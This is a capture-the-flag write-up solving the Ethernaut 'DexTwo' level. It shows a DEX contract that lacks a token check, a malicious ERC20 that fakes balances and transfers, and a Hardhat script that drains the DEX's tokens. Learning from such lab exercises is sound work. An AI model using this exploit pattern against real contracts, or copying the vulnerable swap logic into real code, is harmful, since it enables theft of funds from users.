Ethernaut Solutions: 23-DexTwo

This is a classical case of an External Contract Referencing attack. The swap() method from the previous level “DEX” has been modified to remove the following check:

require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

As a result, we can supply swap() a maliciously written token contract. This malicious ERC20 contract would have to simply respond to balanceOf() and transferFrom() calls to make the attack successful.

// Dex2.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract DexTwo is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  /*function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }*/

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}
// MyERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MyERC20 is ERC20 
{
    constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) 
    {        
        _mint(msg.sender, initialSupply);
    }
}
// MaliciousERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MaliciousERC20 is ERC20 
{
    constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) 
    {        
        _mint(msg.sender, initialSupply);
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return 100;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        return true;
    }
}
//Hardhat Test (solution.js):

const { expect } = require("chai");
const { Wallet, Signer } = require("ethers");
const { ethers, network } = require("hardhat");

describe("Recovery.sol", () => {
    describe("Test run", () => {
        it("should run fine", async () => {

            const [owner, attacker] = await ethers.getSigners();

            // Deploy 2 instances of MyERC20 token
            const myERC20Contract = await ethers.getContractFactory("MyERC20")
            const myerc20_1 = await myERC20Contract.deploy("myerc20_1", "myerc20_1", 1000);
            await myerc20_1.deployed();

            const myerc20_2 = await myERC20Contract.deploy("myerc20_2", "myerc20_2", 1000);
            await myerc20_2.deployed();

            console.log("myerc20_1 address: ", myerc20_1.address)
            console.log("myerc20_2 address: ", myerc20_2.address)

            // Deploy DexTwo contract
            const dex2Contract = await ethers.getContractFactory("DexTwo")
            const dex2 = await dex2Contract.deploy()
            await dex2.deployed()

            console.log("Dex2 address: ", dex2.address)

            // Point Dex contract to the 2 tokens we created
            await dex2.setTokens(myerc20_1.address, myerc20_2.address)

            // Transfer 10 tokens each to attacker and 100 to dex
            await myerc20_1.transfer(attacker.address, 10)
            await myerc20_2.transfer(attacker.address, 10)
            await myerc20_1.transfer(dex2.address, 100)
            await myerc20_2.transfer(dex2.address, 100)

            console.log("\nAttacker token balance: ", await myerc20_1.balanceOf(attacker.address), await myerc20_2.balanceOf(attacker.address))
            console.log("Dex2 token balance: ", await myerc20_1.balanceOf(dex2.address), await myerc20_2.balanceOf(dex2.address))

            // Dpeloy our malicious ERC20 token
            const maliciousERC20Contract = await ethers.getContractFactory("MaliciousERC20")
            const maliciousERC20 = await maliciousERC20Contract.deploy("MAL", "MAL", 1000);
            await maliciousERC20.deployed();

            // Lets siphon off myerc20_1 token first
            console.log("\nAttacker token balance before attack: ", await myerc20_1.balanceOf(attacker.address))
            console.log("Dex2 token balance before attack: ", await myerc20_1.balanceOf(dex2.address))
            await dex2.connect(attacker).swap(maliciousERC20.address, myerc20_1.address, 100)
            console.log("Attacker token balance after attack: ", await myerc20_1.balanceOf(attacker.address))
            console.log("Dex2 token balance after attack: ", await myerc20_1.balanceOf(dex2.address))
            
            // Now lets siphon off all myerc20_2 tokens
            console.log("\nAttacker token balance before attack: ", await myerc20_2.balanceOf(attacker.address))
            console.log("Dex2 token balance before attack: ", await myerc20_2.balanceOf(dex2.address))
            await dex2.connect(attacker).swap(maliciousERC20.address, myerc20_2.address, 100)
            console.log("Attacker token balance after attack: ", await myerc20_2.balanceOf(attacker.address))
            console.log("Dex2 token balance after attack: ", await myerc20_2.balanceOf(dex2.address))
        });
    });
});

Leave a Comment